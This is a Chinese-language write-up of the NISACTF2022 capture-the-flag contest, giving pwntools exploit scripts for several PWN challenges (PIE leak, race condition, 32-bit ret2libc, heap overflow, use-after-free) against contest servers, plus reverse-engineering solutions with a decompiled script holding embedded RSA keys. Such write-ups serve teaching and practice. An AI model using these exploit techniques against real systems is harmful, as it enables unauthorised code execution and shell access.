NISACTF2022

2022-03-29

0.前言

福师大那边举办的比赛，PWN的难度不大，很适合我这种小朋友玩，AK PWN自然不在话下。

1.PWN

1-1.ReorPwn?

nc，然后传入“hs/nib/”即可获取shell。

1-2.ezpie

给了后门函数，给了主函数地址，能算出程序基地址，过于简单，直接贴exp:

from pwn import *

context.log_level='debug'

#io=process('./ezpie')
io=remote('124.221.24.137',28824)

io.recvuntil('0x')
main=int(io.recvuntil('770'),16)
log.info(hex(main))
elf_base=main-0x770
shell=elf_base+0x80f
ret=elf_base+0x562

payload=b'A'*40+p32(0)+p32(ret)+p32(shell)

io.sendlineafter(':',payload)

io.interactive()

1-3.shop_pwn

一道条件竞争题，其中买和卖都会创建线程。
一开始将flag读入到缓冲区中：

漏洞点在to_sale函数中，to_sale函数由sale函数创建线程调用，但是其存在usleep函数，因此线程存在延迟：

思路是短时间内调用两次sale，使得两个线程产生竞争，从而使得一些条件失效，最终产生的效果就是不减少物品的情况下“卖出”该物品（刷钱），使得获取的金钱足够购买flag。
exp如下：

from pwn import *

context.log_level='debug'
#io=process('./shop_pwn')
io=remote('124.221.24.137',28447)

def choice(i):
    io.sendline(str(i))
def look():
    choice(1)
def buy(index):
    choice(2)
    choice(index)
def sale(index):
    choice(3)
    choice(index)

def pwn():
    sale(0)
    sale(0)
    buy(1)
    look()

pwn()

io.interactive()

这里有一点需要注意，如果我选择接收到“> ”后再发送数据的话，本地是打得通的，但是远程不行。（注：根据官方wp的解释，这可能是因为网络延迟。）所以这里我选择不接收数据直接发送。

1-4.ezstack

32位程序ret2libc没什么好说的，记得对齐栈就行。
exp如下：

from pwn import *

context.log_level='debug'

#io=process('./ezstack')
io=remote('124.221.24.137',28259)

system=0x8048390
binsh=0x804A024

payload=b'A'*72+p32(0)+p32(system)+p32(0xdeadbeef)+p32(binsh)
io.sendafter('CTF',payload)

io.interactive()

1-5.ezheap

简单到不能再简单的堆溢出，我甚至都不想去gdb动态调试它。
直接放exp：

from pwn import *

#io=process('./ezheap')
io=remote('124.221.24.137',28471)

payload=b'A'*0x16+p32(0)+b'AAAAAA/bin/sh\x00'
io.sendafter(':',payload)

io.interactive()

1-6.UAF

不难的UAF，只可惜一开始想复杂了。
在create函数里可以看到创建的第0页的作用，其中fd为传入的参数，fd+4为调用的函数的地址。

正常情况下edit函数不允许我们修改第0页堆块的数据。

show函数专门规定了第0页会调用fd+8的地址处的函数，并将fd的内容作为参数传给被调用的函数。

正常的情况下是会调用echo函数打印出“giao”。
漏洞点在del函数，存在UAF漏洞。

因此思路就是先申请page 0，释放掉堆块，再申请。这样由于tcache管理机制，我们再次申请得到的page 1其对应的堆块和page 0的堆块是同一内存区域。这样我们就可以将page_0->fd和page_0->fd+4的内容改掉。由于page 0的指针未清空，因此我们仍然可以调用show(0)，这样系统就会调用被我们改掉的函数。而程序又很好心地给了我们后门函数。
exp如下：

from pwn import *

context.log_level='debug'
#io=process('./UAF')
io=remote('124.221.24.137',28196)

def add():
    io.sendlineafter(':',str(1))
def edit(index,content):
    io.sendlineafter(':',str(2))
    io.sendline(str(index))
    io.sendline(content)
def delete(index):
    io.sendlineafter(':',str(3))
    io.sendline(str(index))
def show(index):
    io.sendlineafter(':',str(4))
    io.sendline(str(index))

NICO=0x8048642
add() #0
delete(0)
add() #1
edit(1,b'sh\x00\x00'+p32(NICO))
show(0)

#gdb.attach(io)

io.interactive()

2.RE

2-1.ezpython

要反编译exe为python，我们提取src和struct为pyc。

比较两个发现src缺少前12位，将struct的前12位补到src。

用在线工具反编译为python。

得到的py源码如下：

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
import rsa
import base64
key1 = rsa.PrivateKey.load_pkcs1(base64.b64decode('LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFcVFJQkFBS0NBUUVBcVJUZ0xQU3BuT0ZDQnJvNHR1K1FBWXFhTjI2Uk42TzY1bjBjUURGRy9vQ1NJSU00ClNBeEVWaytiZHpSN2FucVNtZ1l5MEhRWGhDZTM2U2VGZTF0ejlrd0taL3UzRUpvYzVBSzR1NXZ4UW5QOWY1cTYKYVFsbVAvVjJJTXB5NFFRNlBjbUVoNEtkNm81ZWRJUlB2SHd6V0dWS09OQ3BpL0taQ082V0tWYkpXcWh3WGpEQgpsSDFNVURzZ1gyVUM4b3Bodnk5dXIyek9kTlBocElJZHdIc1o5b0ZaWWtaMUx5Q0lRRXRZRmlKam1GUzJFQ1RVCkNvcU9acnQxaU5jNXVhZnFvZlB4eHlPb2wwYVVoVGhiaHE4cEpXL3FPSFdYd0xJbXdtNk96YXFVeks4NEYyY3UKYWRiRE5zeVNvaElHaHYzd0lBVThNSlFnOEthd1Z3ZHBzRWhlSXdJREFRQUJBb0lCQURBazdwUStjbEZtWHF1Vgp1UEoyRWxZdUJpMkVnVHNMbHZ0c1ltL3cyQnM5dHQ0bEh4QjgxYlNSNUYyMEJ2UlJ4STZ3OXlVZCtWZzdDd1lMCnA5bHhOL3JJdWluVHBkUEhYalNhaGNsOTVOdWNOWEZ4T0dVU05SZy9KNHk4dUt0VHpkV3NITjJORnJRa0o4Y2IKcWF5czNOM3RzWTJ0OUtrUndjbUJGUHNJalNNQzB5UkpQVEE4cmNqOFkranV3SHZjbUJPNHVFWXZXeXh0VHR2UQova0RQelBqdTBuakhkR055RytkSDdkeHVEV2Jxb3VZQnRMdzllZGxXdmIydTJ5YnZzTXl0NWZTOWF1a01NUjNoCnBhaDRMcU1LbC9ETTU3cE44Vms0ZTU3WE1zZUJLWm1hcEptcVNnSGdjajRPNWE2R1RvelN1TEVoTmVGY0l2Tm8KWFczTEFHRUNnWWtBc0J0WDNVcFQ3aUcveE5BZDdSWER2MENOY1k1QnNZOGY4NHQ3dGx0U2pjSWdBKy9nUjFMZQpzb2gxY1RRd1RadUYyRTJXL1hHU3orQmJDTVVySHNGWmh1bXV6aTBkbElNV3ZhU0dvSlV1OGpNODBlUjRiVTRyCmdYQnlLZVZqelkzNVlLejQ5TEVBcFRQcTZRYTVQbzhRYkF6czhuVjZtNXhOQkNPc0pQQ29zMGtCclFQaGo5M0cKOFFKNUFQWEpva0UrMmY3NXZlazZNMDdsaGlEUXR6LzRPYWRaZ1MvUVF0eWRLUmg2V3VEeGp3MytXeXc5ZjNUcAp5OXc0RmtLRzhqNVRpd1RzRmdzem94TGo5TmpSUWpqb3cyVFJGLzk3b2NxMGNwY1orMUtsZTI1cEJ3bk9yRDJBCkVpMUVkMGVEV3dJR2gzaFhGRmlRSzhTOG5remZkNGFMa1ZxK1V3S0JpRXRMSllIamFZY0N2dTd5M0JpbG1ZK0gKbGZIYkZKTkowaXRhazRZZi9XZkdlOUd6R1h6bEhYblBoZ2JrZlZKeEVBU3ZCOE5NYjZ5WkM5THdHY09JZnpLRApiczJQMUhuT29rWnF0WFNxMCt1UnBJdEkxNFJFUzYySDJnZTNuN2dlMzJSS0VCYnVKb3g3YWhBL1k2d3ZscUhiCjFPTEUvNnJRWk0xRVF6RjRBMmpENmdlREJVbHhWTUVDZVFDQjcyUmRoYktNL3M0TSsvMmYyZXI4Y2hwT01SV1oKaU5Hb3l6cHRrby9sSnRuZ1RSTkpYSXdxYVNCMldCcXpndHNSdEhGZnpaNlNyWlJCdTd5Y0FmS3dwSCtUd2tsNQpoS2hoSWFTNG1vaHhwUVNkL21td1JzbTN2NUNDdXEvaFNtNmNXYTdFOVZxc25heGQzV21tQ2VqTnp0MUxQWUZNCkxZMENnWWdKUHhpVTVraGs5cHB6TVAwdWU0clA0Z2YvTENldEdmQjlXMkIyQU03eW9VM2VsMWlCSEJqOEZ3UFQKQUhKUWtCeTNYZEh3SUpGTUV1RUZSSFFzcUFkSTlYVDBzL2V0QTg1Y3grQjhjUmt3bnFHakFseW1PdmJNOVNrMgptMnRwRi8rYm56ZVhNdFA3c0ZoR3NHOXJ5SEZ6UFNLY3NDSDhXWWx0Y1pTSlNDZHRTK21qblAwelArSjMKLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0K'))
key2 = rsa.PublicKey.load_pkcs1(base64.b64decode('LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQXFSVGdMUFNwbk9GQ0JybzR0dStRQVlxYU4yNlJONk82NW4wY1FERkcvb0NTSUlNNFNBeEUKVmsrYmR6UjdhbnFTbWdZeTBIUVhoQ2UzNlNlRmUxdHo5a3dLWi91M0VKb2M1QUs0dTV2eFFuUDlmNXE2YVFsbQpQL1YySU1weTRRUTZQY21FaDRLZDZvNWVkSVJQdkh3eldHVktPTkNwaS9LWkNPNldLVmJKV3Fod1hqREJsSDFNClVEc2dYMlVDOG9waHZ5OXVyMnpPZE5QaHBJSWR3SHNaOW9GWllrWjFMeUNJUUV0WUZpSmptRlMyRUNUVUNvcU8KWnJ0MWlOYzV1YWZxb2ZQeHh5T29sMGFVaFRoYmhxOHBKVy9xT0hXWHdMSW13bTZPemFxVXpLODRGMmN1YWRiRApOc3lTb2hJR2h2M3dJQVU4TUpRZzhLYXdWd2Rwc0VoZUl3SURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K'))

def encrypt1(message):
    crypto_text = rsa.encrypt(message.encode(), key2)
    return crypto_text


def decrypt1(message):
    message_str = rsa.decrypt(message, key1).decode()
    return message_str


def encrypt2(tips, key):
    ltips = len(tips)
    lkey = len(key)
    secret = []
    num = 0
    for each in tips:
        if num >= lkey:
            num = num % lkey
        secret.append(chr(ord(each) ^ ord(key[num])))
        num += 1
    
    return base64.b64encode(''.join(secret).encode()).decode()


def decrypt2(secret, key):
    tips = base64.b64decode(secret.encode()).decode()
    ltips = len(tips)
    lkey = len(key)
    secret = []
    num = 0
    for each in tips:
        if num >= lkey:
            num = num % lkey
        secret.append(chr(ord(each) ^ ord(key[num])))
        num += 1
    
    return ''.join(secret)

flag = 'IAMrG1EOPkM5NRI1cChQDxEcGDZMURptPzgHJHUiN0ASDgUYUB4LGQMUGAtLCQcJJywcFmddNno/PBtQbiMWNxsGLiFuLwpiFlkyP084Ng0lKj8GUBMXcwEXPTJrRDMdNwMiHVkCBFklHgIAWQwgCz8YQhp6E1xUHgUELxMtSh0xXzxBEisbUyYGOx1DBBZWPg1CXFkvJEcxO0ADeBwzChIOQkdwXQRpQCJHCQsaFE4CIjMDcwswTBw4BS9mLVMLLDs8HVgeQkscGBEBFSpQFQQgPTVRAUpvHyAiV1oPE0kyADpDbF8AbyErBjNkPh9PHiY7O1ZaGBADMB0PEVwdCxI+MCcXARZiPhwfH1IfKitGOF42FV8FTxwqPzBPAVUUOAEKAHEEP2QZGjQVV1oIS0QBJgBDLx1jEAsWKGk5Nw03MVgmWSE4Qy5LEghoHDY+OQ9dXE44Th0='
key = 'this is key'

try:
    result = input('please input key: ')
    if result == decrypt2('AAAAAAAAAAAfFwwRSAIWWQ==', key):
        print(decrypt1(base64.b64decode(decrypt2(flag, result))))
    elif result == key:
        print('flag{0e26d898-b454-43de-9c87-eb3d122186bc}')
    else:
        print('key is error.')
except Exception:
    e = None
    
    try:
        pass
    finally:
        e = None
        del e

根据源码编写脚本即可获取flag：

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
import rsa
import base64

key1 = rsa.PrivateKey.load_pkcs1(base64.b64decode('LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFcVFJQkFBS0NBUUVBcVJUZ0xQU3BuT0ZDQnJvNHR1K1FBWXFhTjI2Uk42TzY1bjBjUURGRy9vQ1NJSU00ClNBeEVWaytiZHpSN2FucVNtZ1l5MEhRWGhDZTM2U2VGZTF0ejlrd0taL3UzRUpvYzVBSzR1NXZ4UW5QOWY1cTYKYVFsbVAvVjJJTXB5NFFRNlBjbUVoNEtkNm81ZWRJUlB2SHd6V0dWS09OQ3BpL0taQ082V0tWYkpXcWh3WGpEQgpsSDFNVURzZ1gyVUM4b3Bodnk5dXIyek9kTlBocElJZHdIc1o5b0ZaWWtaMUx5Q0lRRXRZRmlKam1GUzJFQ1RVCkNvcU9acnQxaU5jNXVhZnFvZlB4eHlPb2wwYVVoVGhiaHE4cEpXL3FPSFdYd0xJbXdtNk96YXFVeks4NEYyY3UKYWRiRE5zeVNvaElHaHYzd0lBVThNSlFnOEthd1Z3ZHBzRWhlSXdJREFRQUJBb0lCQURBazdwUStjbEZtWHF1Vgp1UEoyRWxZdUJpMkVnVHNMbHZ0c1ltL3cyQnM5dHQ0bEh4QjgxYlNSNUYyMEJ2UlJ4STZ3OXlVZCtWZzdDd1lMCnA5bHhOL3JJdWluVHBkUEhYalNhaGNsOTVOdWNOWEZ4T0dVU05SZy9KNHk4dUt0VHpkV3NITjJORnJRa0o4Y2IKcWF5czNOM3RzWTJ0OUtrUndjbUJGUHNJalNNQzB5UkpQVEE4cmNqOFkranV3SHZjbUJPNHVFWXZXeXh0VHR2UQova0RQelBqdTBuakhkR055RytkSDdkeHVEV2Jxb3VZQnRMdzllZGxXdmIydTJ5YnZzTXl0NWZTOWF1a01NUjNoCnBhaDRMcU1LbC9ETTU3cE44Vms0ZTU3WE1zZUJLWm1hcEptcVNnSGdjajRPNWE2R1RvelN1TEVoTmVGY0l2Tm8KWFczTEFHRUNnWWtBc0J0WDNVcFQ3aUcveE5BZDdSWER2MENOY1k1QnNZOGY4NHQ3dGx0U2pjSWdBKy9nUjFMZQpzb2gxY1RRd1RadUYyRTJXL1hHU3orQmJDTVVySHNGWmh1bXV6aTBkbElNV3ZhU0dvSlV1OGpNODBlUjRiVTRyCmdYQnlLZVZqelkzNVlLejQ5TEVBcFRQcTZRYTVQbzhRYkF6czhuVjZtNXhOQkNPc0pQQ29zMGtCclFQaGo5M0cKOFFKNUFQWEpva0UrMmY3NXZlazZNMDdsaGlEUXR6LzRPYWRaZ1MvUVF0eWRLUmg2V3VEeGp3MytXeXc5ZjNUcAp5OXc0RmtLRzhqNVRpd1RzRmdzem94TGo5TmpSUWpqb3cyVFJGLzk3b2NxMGNwY1orMUtsZTI1cEJ3bk9yRDJBCkVpMUVkMGVEV3dJR2gzaFhGRmlRSzhTOG5remZkNGFMa1ZxK1V3S0JpRXRMSllIamFZY0N2dTd5M0JpbG1ZK0gKbGZIYkZKTkowaXRhazRZZi9XZkdlOUd6R1h6bEhYblBoZ2JrZlZKeEVBU3ZCOE5NYjZ5WkM5THdHY09JZnpLRApiczJQMUhuT29rWnF0WFNxMCt1UnBJdEkxNFJFUzYySDJnZTNuN2dlMzJSS0VCYnVKb3g3YWhBL1k2d3ZscUhiCjFPTEUvNnJRWk0xRVF6RjRBMmpENmdlREJVbHhWTUVDZVFDQjcyUmRoYktNL3M0TSsvMmYyZXI4Y2hwT01SV1oKaU5Hb3l6cHRrby9sSnRuZ1RSTkpYSXdxYVNCMldCcXpndHNSdEhGZnpaNlNyWlJCdTd5Y0FmS3dwSCtUd2tsNQpoS2hoSWFTNG1vaHhwUVNkL21td1JzbTN2NUNDdXEvaFNtNmNXYTdFOVZxc25heGQzV21tQ2VqTnp0MUxQWUZNCkxZMENnWWdKUHhpVTVraGs5cHB6TVAwdWU0clA0Z2YvTENldEdmQjlXMkIyQU03eW9VM2VsMWlCSEJqOEZ3UFQKQUhKUWtCeTNYZEh3SUpGTUV1RUZSSFFzcUFkSTlYVDBzL2V0QTg1Y3grQjhjUmt3bnFHakFseW1PdmJNOVNrMgptMnRwRi8rYm56ZVhNdFA3c0ZoR3NHOXJ5SEZ6UFNLY3NDSDhXWWx0Y1pTSlNDZHRTK21qblAwelArSjMKLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0K'))
key2 = rsa.PublicKey.load_pkcs1(base64.b64decode('LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQXFSVGdMUFNwbk9GQ0JybzR0dStRQVlxYU4yNlJONk82NW4wY1FERkcvb0NTSUlNNFNBeEUKVmsrYmR6UjdhbnFTbWdZeTBIUVhoQ2UzNlNlRmUxdHo5a3dLWi91M0VKb2M1QUs0dTV2eFFuUDlmNXE2YVFsbQpQL1YySU1weTRRUTZQY21FaDRLZDZvNWVkSVJQdkh3eldHVktPTkNwaS9LWkNPNldLVmJKV3Fod1hqREJsSDFNClVEc2dYMlVDOG9waHZ5OXVyMnpPZE5QaHBJSWR3SHNaOW9GWllrWjFMeUNJUUV0WUZpSmptRlMyRUNUVUNvcU8KWnJ0MWlOYzV1YWZxb2ZQeHh5T29sMGFVaFRoYmhxOHBKVy9xT0hXWHdMSW13bTZPemFxVXpLODRGMmN1YWRiRApOc3lTb2hJR2h2M3dJQVU4TUpRZzhLYXdWd2Rwc0VoZUl3SURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K'))

def encrypt1(message):
    crypto_text = rsa.encrypt(message.encode(), key2)
    return crypto_text


def decrypt1(message):
    message_str = rsa.decrypt(message, key1).decode()
    return message_str


def encrypt2(tips, key):
    ltips = len(tips)
    lkey = len(key)
    secret = []
    num = 0
    for each in tips:
        if num >= lkey:
            num = num % lkey
        secret.append(chr(ord(each) ^ ord(key[num])))
        num += 1
    
    return base64.b64encode(''.join(secret).encode()).decode()


def decrypt2(secret, key):
    tips = base64.b64decode(secret.encode()).decode()
    ltips = len(tips)
    lkey = len(key)
    secret = []
    num = 0
    for each in tips:
        if num >= lkey:
            num = num % lkey
        secret.append(chr(ord(each) ^ ord(key[num])))
        num += 1
    
    return ''.join(secret)


flag = 'IAMrG1EOPkM5NRI1cChQDxEcGDZMURptPzgHJHUiN0ASDgUYUB4LGQMUGAtLCQcJJywcFmddNno/PBtQbiMWNxsGLiFuLwpiFlkyP084Ng0lKj8GUBMXcwEXPTJrRDMdNwMiHVkCBFklHgIAWQwgCz8YQhp6E1xUHgUELxMtSh0xXzxBEisbUyYGOx1DBBZWPg1CXFkvJEcxO0ADeBwzChIOQkdwXQRpQCJHCQsaFE4CIjMDcwswTBw4BS9mLVMLLDs8HVgeQkscGBEBFSpQFQQgPTVRAUpvHyAiV1oPE0kyADpDbF8AbyErBjNkPh9PHiY7O1ZaGBADMB0PEVwdCxI+MCcXARZiPhwfH1IfKitGOF42FV8FTxwqPzBPAVUUOAEKAHEEP2QZGjQVV1oIS0QBJgBDLx1jEAsWKGk5Nw03MVgmWSE4Qy5LEghoHDY+OQ9dXE44Th0='
key = 'this is key'

result = decrypt2('AAAAAAAAAAAfFwwRSAIWWQ==', key)
print(decrypt1(base64.b64decode(decrypt2(flag, result))))

2-2.sign-ezc++

在.data段找到flag：

追踪可以找到调用的函数：

很明显是异或了10。
编写逆程序即可获取flag：

#include<stdio.h>
#include<string.h>
int main()
{
	int i;
	char flag[]="DYYI^Lq~bcyUcyUDCYKUxoUycmdw";
	for(i=0;i<strlen(flag);i++)
	{
		flag[i]^=0xA;
	}
	puts(flag);
	return 0;
}

2-3.string

这题我是用非预期解出来的。由于flag的生成用到了伪随机数，并且种子据出题人说是忘了加密了，因此可以直接生成flag。
程序是ELF，放脚本：

from ctypes import *

libc=cdll.LoadLibrary('libc-2.31.so')
libc.srand(10086)
flag=''
for i in range(13):
    flag+=str(libc.rand()%8+1)
print('NSSCTF{'+flag+'}')

运行即可生成flag：